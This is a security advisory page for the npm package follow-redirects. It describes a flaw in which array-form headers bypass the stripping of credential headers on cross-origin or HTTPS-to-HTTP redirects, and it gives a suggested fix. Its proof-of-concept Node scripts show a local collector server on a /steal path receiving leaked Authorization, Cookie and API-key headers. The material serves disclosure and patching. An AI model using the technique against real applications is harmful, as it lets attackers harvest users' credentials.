GHSA-Q3JH-WRC6-JGQ8
Vulnerability from github – Published: 2026-10-20 17:58 – Updated: 2026-10-20 17:58Summary
follow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared sensitiveHeaders) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with for...in and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying http.request, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, for...in yields the numeric indices "0", "1", "2" and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The sensitiveHeaders option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect.
Details
The cross-origin credential-stripping control is implemented by removeMatchingHeaders(regex, headers) at index.js:630-640:
function removeMatchingHeaders(regex, headers) {
var lastValue;
for (var header in headers) { // for...in over an ARRAY yields "0","1","2"...
if (regex.test(header)) { // the header-name filter never matches a numeric index
lastValue = headers[header];
delete headers[header];
}
}
return (lastValue === null || typeof lastValue === "undefined") ?
undefined : String(lastValue).trim();
}
It is invoked from _processResponse for three purposes, all with the caller-supplied this._options.headers:
index.js:490- strip the credential filter (this._headerFilter, which covers the built-in list Authorization/Proxy-Authorization/Cookie plus anysensitiveHeaders) when the redirect crosses origin or downgrades protocol.index.js:470- strip theHostheader (/^host$/i).index.js:466- stripcontent-*headers when a 301/302/303 converts POST to GET.
The caller-supplied headers container is passed straight through to each redirected request via nativeProtocol.request(this._options) at index.js:352. _sanitizeOptions (index.js:300-331) only replaces options.headers when it is falsy, so an array is left untouched.
Node's http.request accepts options.headers as an alternating array of names and values (for example ["Authorization", "Bearer ...", "Cookie", "session=..."]). This is a supported way to control header ordering and duplication. For such an array, for (var header in headers) iterates the numeric indices "0", "1", "2", and the header-name regex never matches any of them, so removeMatchingHeaders deletes nothing. Every one of the three strip operations above silently no-ops:
- The built-in credential headers (Authorization, Cookie, Proxy-Authorization) are forwarded to the cross-origin redirect target.
- Any
sensitiveHeadersthe caller declared are forwarded too. - The stale
Hostof the previous origin is re-sent to the new origin. - On a POST-to-GET redirect the
content-*headers are retained, leavingContent-Lengthinconsistent with the now-empty body.
The primary and highest-impact consequence is disclosure of credential headers. The stale Host re-send and the Content-Length inconsistency are secondary correctness defects arising from the same root cause.
Root-cause history: the for...in-based removeMatchingHeaders used for the built-in credential strip has been present since the cross-host Authorization drop was introduced (commit 724087d, first released in v1.11.0) and is unchanged through 1.16.0. The sensitiveHeaders layer was introduced in 1.16.0 (commit 844c4d3). The behavior was verified directly on both 1.15.11 and 1.16.0.
Suggested remediation: handle or explicitly reject Node's array-form headers. The strictest fix is to detect Array.isArray(options.headers) in _sanitizeOptions and throw a clear TypeError instructing callers to pass an object, so misuse fails loudly instead of silently downgrading security. If array support is desired, extend removeMatchingHeaders to walk the array in name/value pairs:
function removeMatchingHeaders(regex, headers) {
if (Array.isArray(headers)) {
var lastValue;
for (var i = 0; i < headers.length; i += 2) {
if (regex.test(headers[i])) { lastValue = headers[i + 1]; headers.splice(i, 2); i -= 2; }
}
return (lastValue === null || typeof lastValue === "undefined") ? undefined : String(lastValue).trim();
}
// existing object logic
}
Apply the same guard to the Host and content-* removal paths. Add regression tests that exercise array-form headers across a cross-origin redirect; the current suite only covers object-form headers.
References: - https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653 - https://github.com/follow-redirects/follow-redirects/commit/724087d696c0bcd55c13ee0f3560c4558138e422 - https://github.com/follow-redirects/follow-redirects/commit/844c4d3 (sensitiveHeaders option)
PoC
Environment: Node.js v24.18.0 on Windows 11. The underlying Node array-header behavior is long-standing and not version-specific. Run each script from a checkout of follow-redirects at 1.16.0 so that require("./index.js") resolves to the library under test.
Precondition check (Node accepts and serializes array-form headers):
node -e 'var http=require("http");var s=http.createServer((q,r)=>r.end(JSON.stringify(q.headers)));s.listen(0,"127.0.0.1",()=>{var p=s.address().port;http.request({hostname:"127.0.0.1",port:p,headers:["Authorization","Bearer T","Cookie","c=1"]},res=>{var b="";res.on("data",c=>b+=c);res.on("end",()=>{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});'
Observed: Bearer T c=1 (the server receives both headers, confirming array form is valid and delivered).
Minimal form (built-in credential list), arrayleak.js:
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
req.resume();
res.writeHead(302, { Location: "http://127.0.0.1:47302/steal" }); // cross-origin (different port)
res.end();
});
var collector = http.createServer(function (req, res) {
res.end(JSON.stringify(req.headers)); // attacker-controlled target
});
redirector.listen(47301, "127.0.0.1", function () {
collector.listen(47302, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1", port: 47301, path: "/", method: "GET",
headers: [
"Host", "127.0.0.1:47301",
"Authorization", "Bearer ARRAY-FORM-VICTIM-TOKEN",
"Cookie", "session=ARRAY-FORM-SESSION-ID",
"X-Custom", "harmless"
]
}, function (res) {
var body = ""; res.on("data", function (c) { body += c; });
res.on("end", function () {
var h = JSON.parse(body);
console.log("Authorization :", h.authorization || "(stripped - OK)");
console.log("Cookie :", h.cookie || "(stripped - OK)");
redirector.close(); collector.close();
});
}).end();
});
});
Observed output (1.16.0 and 1.15.11):
Authorization : Bearer ARRAY-FORM-VICTIM-TOKEN <- credential LEAKED cross-origin
Cookie : session=ARRAY-FORM-SESSION-ID <- credential LEAKED cross-origin
Control: replacing headers with the equivalent object { Host: ..., Authorization: ..., Cookie: ... } and re-running strips both correctly, proving the strip branch executes and only the array iteration defeats it.
Combined form (built-in list plus the 1.16.0 sensitiveHeaders fix, all defeated in one request), combined.js:
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
req.resume();
res.writeHead(302, { Location: "http://127.0.0.1:47402/steal" });
res.end();
});
var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
redirector.listen(47401, "127.0.0.1", function () {
collector.listen(47402, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1", port: 47401, path: "/", method: "GET",
headers: [
"Host", "127.0.0.1:47401",
"Authorization", "Bearer BUILTIN-VICTIM-TOKEN",
"Cookie", "session=BUILTIN-SESSION-ID",
"X-API-Key", "DECLARED-VICTIM-KEY"
],
sensitiveHeaders: ["X-API-Key"]
}, function (res) {
var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () {
var h = JSON.parse(body);
console.log("Authorization (built-in list) :", h.authorization || "(stripped - OK)");
console.log("Cookie (built-in list) :", h.cookie || "(stripped - OK)");
console.log("X-API-Key (sensitiveHeaders) :", h["x-api-key"] || "(stripped - OK)");
redirector.close(); collector.close();
});
}).end();
});
});
Observed output (1.16.0):
Authorization (built-in list) : Bearer BUILTIN-VICTIM-TOKEN <- LEAKED
Cookie (built-in list) : session=BUILTIN-SESSION-ID <- LEAKED
X-API-Key (sensitiveHeaders) : DECLARED-VICTIM-KEY <- LEAKED (the CVE-2026-40895 fix defeated)
Protocol-downgrade branch (credentials transit in cleartext), downgrade.js, using the repository's own test certificate at test/assets/:
var followRedirects = require("./index.js");
var http = require("http"); var https = require("https"); var fs = require("fs");
var opts = { key: fs.readFileSync("test/assets/localhost.key"), cert: fs.readFileSync("test/assets/localhost.crt") };
var ca = fs.readFileSync("test/assets/ca.crt");
var httpsOrigin = https.createServer(opts, function (req, res) {
req.resume(); res.writeHead(302, { Location: "http://localhost:47502/steal" }); res.end();
});
var httpCollector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
httpsOrigin.listen(47501, "localhost", function () {
httpCollector.listen(47502, "localhost", function () {
followRedirects.https.request({
hostname: "localhost", port: 47501, path: "/", method: "GET", ca: ca,
headers: ["Host", "localhost:47501", "Authorization", "Bearer DOWNGRADE-TOKEN", "Cookie", "session=DOWNGRADE-SESSION"]
}, function (res) {
var body = ""; res.on("data", function (c) { body += c; });
res.on("end", function () {
var h = JSON.parse(body);
console.log("Authorization :", h.authorization || "(stripped - OK)");
console.log("Cookie :", h.cookie || "(stripped - OK)");
httpsOrigin.close(); httpCollector.close();
});
}).end();
});
});
Observed output (1.16.0): both credentials received at the plaintext HTTP target after an HTTPS-to-HTTP redirect, meaning they transit unencrypted and are harvestable by any on-path network observer, not only the redirect destination.
Side-effect verification (stale Host re-sent, Content-Length inconsistent): a POST request with array-form headers and a 13-byte body that receives a 302 to a different origin was observed to arrive at the new origin as a GET carrying the stale Host of the first origin and Content-Length: 13 despite an empty body.
Impact
This is an information-disclosure vulnerability: silent failure of the cross-origin credential-header stripping control. Who is impacted: any application, or upstream library, that calls follow-redirects with Node's array-form headers (used to control header ordering or duplication) and follows a redirect whose target is controlled or compromised by an attacker. When triggered, the victim's Authorization, Cookie, and Proxy-Authorization headers, and any headers declared through the sensitiveHeaders option, are disclosed to the attacker-controlled destination. In the protocol-downgrade case the credentials additionally traverse the network in cleartext, exposing them to on-path observers. No authentication or user interaction is required of the attacker beyond controlling a redirect target the victim already contacts. The control that is defeated is the same one that prior advisories in this library (CVE-2022-0155, CVE-2022-0536, CVE-2026-40895 / GHSA-r4q5-vmmm-2653) were issued to establish and harden.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "follow-redirects"
},
"ranges": [
{
"events": [
{
"introduced": "1.16.0"
},
{
"fixed": "1.16.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-111756"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-212"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T17:58:04Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nfollow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared `sensitiveHeaders`) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller\u0027s headers container with `for...in` and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node\u0027s underlying `http.request`, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, `for...in` yields the numeric indices `\"0\"`, `\"1\"`, `\"2\"` and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The `sensitiveHeaders` option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim\u0027s credential headers by responding with a cross-origin redirect.\n\n### Details\nThe cross-origin credential-stripping control is implemented by `removeMatchingHeaders(regex, headers)` at `index.js:630-640`:\n\n```js\nfunction removeMatchingHeaders(regex, headers) {\n var lastValue;\n for (var header in headers) { // for...in over an ARRAY yields \"0\",\"1\",\"2\"...\n if (regex.test(header)) { // the header-name filter never matches a numeric index\n lastValue = headers[header];\n delete headers[header];\n }\n }\n return (lastValue === null || typeof lastValue === \"undefined\") ?\n undefined : String(lastValue).trim();\n}\n```\n\nIt is invoked from `_processResponse` for three purposes, all with the caller-supplied `this._options.headers`:\n\n- `index.js:490` - strip the credential filter (`this._headerFilter`, which covers the built-in list Authorization/Proxy-Authorization/Cookie plus any `sensitiveHeaders`) when the redirect crosses origin or downgrades protocol.\n- `index.js:470` - strip the `Host` header (`/^host$/i`).\n- `index.js:466` - strip `content-*` headers when a 301/302/303 converts POST to GET.\n\nThe caller-supplied headers container is passed straight through to each redirected request via `nativeProtocol.request(this._options)` at `index.js:352`. `_sanitizeOptions` (index.js:300-331) only replaces `options.headers` when it is falsy, so an array is left untouched.\n\nNode\u0027s `http.request` accepts `options.headers` as an alternating array of names and values (for example `[\"Authorization\", \"Bearer ...\", \"Cookie\", \"session=...\"]`). This is a supported way to control header ordering and duplication. For such an array, `for (var header in headers)` iterates the numeric indices `\"0\"`, `\"1\"`, `\"2\"`, and the header-name regex never matches any of them, so `removeMatchingHeaders` deletes nothing. Every one of the three strip operations above silently no-ops:\n\n- The built-in credential headers (Authorization, Cookie, Proxy-Authorization) are forwarded to the cross-origin redirect target.\n- Any `sensitiveHeaders` the caller declared are forwarded too.\n- The stale `Host` of the previous origin is re-sent to the new origin.\n- On a POST-to-GET redirect the `content-*` headers are retained, leaving `Content-Length` inconsistent with the now-empty body.\n\nThe primary and highest-impact consequence is disclosure of credential headers. The stale `Host` re-send and the `Content-Length` inconsistency are secondary correctness defects arising from the same root cause.\n\nRoot-cause history: the `for...in`-based `removeMatchingHeaders` used for the built-in credential strip has been present since the cross-host Authorization drop was introduced (commit `724087d`, first released in v1.11.0) and is unchanged through 1.16.0. The `sensitiveHeaders` layer was introduced in 1.16.0 (commit `844c4d3`). The behavior was verified directly on both 1.15.11 and 1.16.0.\n\nSuggested remediation: handle or explicitly reject Node\u0027s array-form headers. The strictest fix is to detect `Array.isArray(options.headers)` in `_sanitizeOptions` and throw a clear `TypeError` instructing callers to pass an object, so misuse fails loudly instead of silently downgrading security. If array support is desired, extend `removeMatchingHeaders` to walk the array in name/value pairs:\n\n```js\nfunction removeMatchingHeaders(regex, headers) {\n if (Array.isArray(headers)) {\n var lastValue;\n for (var i = 0; i \u003c headers.length; i += 2) {\n if (regex.test(headers[i])) { lastValue = headers[i + 1]; headers.splice(i, 2); i -= 2; }\n }\n return (lastValue === null || typeof lastValue === \"undefined\") ? undefined : String(lastValue).trim();\n }\n // existing object logic\n}\n```\n\nApply the same guard to the `Host` and `content-*` removal paths. Add regression tests that exercise array-form headers across a cross-origin redirect; the current suite only covers object-form headers.\n\nReferences:\n- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653\n- https://github.com/follow-redirects/follow-redirects/commit/724087d696c0bcd55c13ee0f3560c4558138e422\n- https://github.com/follow-redirects/follow-redirects/commit/844c4d3 (sensitiveHeaders option)\n\n### PoC\nEnvironment: Node.js v24.18.0 on Windows 11. The underlying Node array-header behavior is long-standing and not version-specific. Run each script from a checkout of follow-redirects at 1.16.0 so that `require(\"./index.js\")` resolves to the library under test.\n\nPrecondition check (Node accepts and serializes array-form headers):\n```\nnode -e \u0027var http=require(\"http\");var s=http.createServer((q,r)=\u003er.end(JSON.stringify(q.headers)));s.listen(0,\"127.0.0.1\",()=\u003e{var p=s.address().port;http.request({hostname:\"127.0.0.1\",port:p,headers:[\"Authorization\",\"Bearer T\",\"Cookie\",\"c=1\"]},res=\u003e{var b=\"\";res.on(\"data\",c=\u003eb+=c);res.on(\"end\",()=\u003e{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});\u0027\n```\nObserved: `Bearer T c=1` (the server receives both headers, confirming array form is valid and delivered).\n\nMinimal form (built-in credential list), `arrayleak.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n req.resume();\n res.writeHead(302, { Location: \"http://127.0.0.1:47302/steal\" }); // cross-origin (different port)\n res.end();\n});\nvar collector = http.createServer(function (req, res) {\n res.end(JSON.stringify(req.headers)); // attacker-controlled target\n});\nredirector.listen(47301, \"127.0.0.1\", function () {\n collector.listen(47302, \"127.0.0.1\", function () {\n followRedirects.http.request({\n hostname: \"127.0.0.1\", port: 47301, path: \"/\", method: \"GET\",\n headers: [\n \"Host\", \"127.0.0.1:47301\",\n \"Authorization\", \"Bearer ARRAY-FORM-VICTIM-TOKEN\",\n \"Cookie\", \"session=ARRAY-FORM-SESSION-ID\",\n \"X-Custom\", \"harmless\"\n ]\n }, function (res) {\n var body = \"\"; res.on(\"data\", function (c) { body += c; });\n res.on(\"end\", function () {\n var h = JSON.parse(body);\n console.log(\"Authorization :\", h.authorization || \"(stripped - OK)\");\n console.log(\"Cookie :\", h.cookie || \"(stripped - OK)\");\n redirector.close(); collector.close();\n });\n }).end();\n });\n});\n```\nObserved output (1.16.0 and 1.15.11):\n```\nAuthorization : Bearer ARRAY-FORM-VICTIM-TOKEN \u003c- credential LEAKED cross-origin\nCookie : session=ARRAY-FORM-SESSION-ID \u003c- credential LEAKED cross-origin\n```\nControl: replacing `headers` with the equivalent object `{ Host: ..., Authorization: ..., Cookie: ... }` and re-running strips both correctly, proving the strip branch executes and only the array iteration defeats it.\n\nCombined form (built-in list plus the 1.16.0 `sensitiveHeaders` fix, all defeated in one request), `combined.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n req.resume();\n res.writeHead(302, { Location: \"http://127.0.0.1:47402/steal\" });\n res.end();\n});\nvar collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });\nredirector.listen(47401, \"127.0.0.1\", function () {\n collector.listen(47402, \"127.0.0.1\", function () {\n followRedirects.http.request({\n hostname: \"127.0.0.1\", port: 47401, path: \"/\", method: \"GET\",\n headers: [\n \"Host\", \"127.0.0.1:47401\",\n \"Authorization\", \"Bearer BUILTIN-VICTIM-TOKEN\",\n \"Cookie\", \"session=BUILTIN-SESSION-ID\",\n \"X-API-Key\", \"DECLARED-VICTIM-KEY\"\n ],\n sensitiveHeaders: [\"X-API-Key\"]\n }, function (res) {\n var body = \"\"; res.on(\"data\", function (c) { body += c; }); res.on(\"end\", function () {\n var h = JSON.parse(body);\n console.log(\"Authorization (built-in list) :\", h.authorization || \"(stripped - OK)\");\n console.log(\"Cookie (built-in list) :\", h.cookie || \"(stripped - OK)\");\n console.log(\"X-API-Key (sensitiveHeaders) :\", h[\"x-api-key\"] || \"(stripped - OK)\");\n redirector.close(); collector.close();\n });\n }).end();\n });\n});\n```\nObserved output (1.16.0):\n```\nAuthorization (built-in list) : Bearer BUILTIN-VICTIM-TOKEN \u003c- LEAKED\nCookie (built-in list) : session=BUILTIN-SESSION-ID \u003c- LEAKED\nX-API-Key (sensitiveHeaders) : DECLARED-VICTIM-KEY \u003c- LEAKED (the CVE-2026-40895 fix defeated)\n```\n\nProtocol-downgrade branch (credentials transit in cleartext), `downgrade.js`, using the repository\u0027s own test certificate at `test/assets/`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\"); var https = require(\"https\"); var fs = require(\"fs\");\nvar opts = { key: fs.readFileSync(\"test/assets/localhost.key\"), cert: fs.readFileSync(\"test/assets/localhost.crt\") };\nvar ca = fs.readFileSync(\"test/assets/ca.crt\");\nvar httpsOrigin = https.createServer(opts, function (req, res) {\n req.resume(); res.writeHead(302, { Location: \"http://localhost:47502/steal\" }); res.end();\n});\nvar httpCollector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });\nhttpsOrigin.listen(47501, \"localhost\", function () {\n httpCollector.listen(47502, \"localhost\", function () {\n followRedirects.https.request({\n hostname: \"localhost\", port: 47501, path: \"/\", method: \"GET\", ca: ca,\n headers: [\"Host\", \"localhost:47501\", \"Authorization\", \"Bearer DOWNGRADE-TOKEN\", \"Cookie\", \"session=DOWNGRADE-SESSION\"]\n }, function (res) {\n var body = \"\"; res.on(\"data\", function (c) { body += c; });\n res.on(\"end\", function () {\n var h = JSON.parse(body);\n console.log(\"Authorization :\", h.authorization || \"(stripped - OK)\");\n console.log(\"Cookie :\", h.cookie || \"(stripped - OK)\");\n httpsOrigin.close(); httpCollector.close();\n });\n }).end();\n });\n});\n```\nObserved output (1.16.0): both credentials received at the plaintext HTTP target after an HTTPS-to-HTTP redirect, meaning they transit unencrypted and are harvestable by any on-path network observer, not only the redirect destination.\n\nSide-effect verification (stale Host re-sent, Content-Length inconsistent): a POST request with array-form headers and a 13-byte body that receives a 302 to a different origin was observed to arrive at the new origin as a GET carrying the stale `Host` of the first origin and `Content-Length: 13` despite an empty body.\n\n### Impact\nThis is an information-disclosure vulnerability: silent failure of the cross-origin credential-header stripping control. Who is impacted: any application, or upstream library, that calls follow-redirects with Node\u0027s array-form headers (used to control header ordering or duplication) and follows a redirect whose target is controlled or compromised by an attacker. When triggered, the victim\u0027s Authorization, Cookie, and Proxy-Authorization headers, and any headers declared through the `sensitiveHeaders` option, are disclosed to the attacker-controlled destination. In the protocol-downgrade case the credentials additionally traverse the network in cleartext, exposing them to on-path observers. No authentication or user interaction is required of the attacker beyond controlling a redirect target the victim already contacts. The control that is defeated is the same one that prior advisories in this library (CVE-2022-0155, CVE-2022-0536, CVE-2026-40895 / GHSA-r4q5-vmmm-2653) were issued to establish and harden.",
"id": "GHSA-q3jh-wrc6-jgq8",
"modified": "2026-10-20T17:58:04Z",
"published": "2026-10-20T17:58:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-q3jh-wrc6-jgq8"
},
{
"type": "WEB",
"url": "https://github.com/follow-redirects/follow-redirects/commit/9865ca45490e4d0f7b6944870318408344570aff"
},
{
"type": "PACKAGE",
"url": "https://github.com/follow-redirects/follow-redirects"
},
{
"type": "WEB",
"url": "https://github.com/follow-redirects/follow-redirects/releases/tag/v1.16.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "follow-redirects array-form headers bypass cross-origin credential stripping"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.